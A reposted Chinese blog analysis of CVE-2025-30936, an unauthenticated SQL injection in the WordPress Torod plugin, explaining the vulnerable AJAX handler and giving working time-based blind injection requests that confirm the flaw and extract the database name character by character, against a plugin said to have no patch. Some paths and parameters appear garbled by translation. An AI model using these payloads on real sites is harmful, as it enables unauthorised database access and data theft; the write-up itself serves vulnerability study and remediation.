文章总结: WordPressTorod插件v1.9及更早版本存在CVE-2025-30936高危SQL注入漏洞,根本原因是inc/ajaxyk.php文件中get_regions_and_cities函数直接将用户输入的country_id参数未经充分验证插入SQL查询,尽管使用了sanitize_text_field()但仍可被绕过。该漏洞通过未认证的AJAX端点wp_ajax_nopriv_get_regions_and_cities触发,攻击者可利用时间盲注技术提取数据库信息。目前官方尚未发布修复补丁,建议立即停用该插件或使用$wpdb->prepare()进行代码级修复。 综合评分: 78 文章分类: 漏洞分析,WEB安全,渗透测试,漏洞预警
CVE-2025-30936 SQL注入
原创
匆匆过客 匆匆过客
天启攻防实验室
2026年2月9日 15:51 广东
更多实战:
该漏洞存在于WordPress的Torod插件中。这可能允许攻击者直接与您的数据库交互,包括但不限于窃取信息。
·CVE编号: CVE-2025-30936
·产品: WordPress Torod 插件
·漏洞类型: SQL注入
·受影响版本: <= 1.9
·修复版本: <= N/A
·CVSS严重性: 高 (9.3)
·所需权限: 未认证
环境要求
·本地WordPress与调试: Local WordPress and 调试.
·Torod: v1.9
分析
根本原因在于应用程序直接将来自POST请求的数据插入到SQL查询中,而没有进行适当的输入验证或控制。
漏洞点
此CVE没有可用的补丁,因此我们无法使用diff工具来比较存在漏洞的版本和已修复的版本。
在WordPress中,要发生SQL注入,应用程序必须通过全局变量 $wpdb 与数据库交互。我们可以在插件目录中搜索此关键字以定位漏洞点。
👉 来自 $_POST[‘country_id’] 的数据未经适当验证就直接插入到SQL查询中。使用 sanitize_text_field() 仅对字符串进行转义,并未完全清理。因此,SQL注入漏洞可能发生。
·来源: $_POST[‘country_id’]
·漏洞点: $wpdb->get_results(“SELECT * FROM $table_name WHERE country_id = $country_id”)
工作原理?
该漏洞位于 inc/ajaxyk.php 文件中的 ajaxyk 类的 get_regions_and_cities 函数内。为了确定它在何处被调用,我们在插件目录中搜索关键字 get_regions_and_cities。
👉 get_regions_and_cities 通过 ajaxyk 构造函数中的 add_action 函数注册为两个动作钩子的回调函数。
·wp_ajax_get_regions_and_cities
o格式为 wp_ajax_{$action}
o需要用户认证
·wp_ajax_nopriv_get_regions_and_cities
o格式为 wp_ajax_nopriv_{$action}
o不需要认证
由于这是一个未认证漏洞,我们只关注 wp_ajax_nopriv_get_regions_and_cities 钩子。
因此,当向 /wp-管理员/管理员-AJAX.php 发送包含以下参数的POST请求时:
action=wp_ajax_nopriv_get_regions_and_cities&country_id=payload_here
·get_regions_and_cities 回调函数被触发。
·country_id 直接从请求中获取并注入到SQL查询中。
·查询与恶意载荷一起执行。
漏洞利用
检测SQL注入
发送包含SQL注入载荷的POST请求:
POST /wp-管理员/管理员-AJAX.php HTTP/1.1 Host: localhost … Cookie: cookie_here
action=get_regions_and_cities&country_id=(SELECT 1 FROM (SELECT SLEEP(5))a)
生成的查询变为:
SELECT*FROM wp_torod_regions WHERE country_id = (SELECT1FROM (SELECT SLEEP(5))a)
👉 基于响应时间 => 载荷有效。
当表为空时可用的技术:
·UNION:由于它不依赖于表中现有的数据,但需要知道列的数量。
·子查询:
oWHERE子句中的子查询:如果结果可以提前确定,MySQL可能会优化并跳过子查询。如果表没有数据,MySQL可能不会执行 SLEEP()。
oFROM子句中的子查询:子查询被视为临时表。MySQL必须先执行它以构建临时表,然后才能执行主查询。
获取数据库名称的第一个字母
转储所有数据的前提是至少检索到数据库名称的一个字符。一旦实现这一点,其余部分就可以枚举。
发送带有SQL注入载荷的请求:
POST /wp-管理员/管理员-AJAX.php HTTP/1.1 Host: localhost … Cookie: cookie_here
action=get_regions_and_cities=1&country_id=(SELECT 1 FROM (SELECT IF(SUBSTRING(SCHEMA(),1,1)=0x77, SLEEP(5), 1))a)
这里,SUBSTRING() 提取数据库名称的第一个字符,如果该字符是 0x77 (‘w’),则 IF() 触发 SLEEP(5)。
我们使用十六进制编码 0x77 来表示 w,因为 country_id 取自POST请求,该请求在WordPress中被 magic quotes 转义,并被 sanitize_text_field 转义。
👉 基于响应时间 => 确认第一个字符是 w。
结论
WordPress Torod 插件(版本 ≤ 1.9)中的 CVE-2025-30936 漏洞源于将用户输入未经适当验证直接插入SQL查询,导致了经典的SQL注入缺陷。
目前尚未发布针对此漏洞的官方补丁。
关键要点:
·始终正确验证和清理用户输入。
·在WordPress中与数据库交互时,始终使用 $wpdb->prepare() 以防止SQL注入。
·保持插件更新,并定期进行安全评估,以避免成为攻击目标。
加好友进技术交流群:
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:天启攻防实验室 匆匆过客 匆匆过客《CVE-2025-30936 SQL注入》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论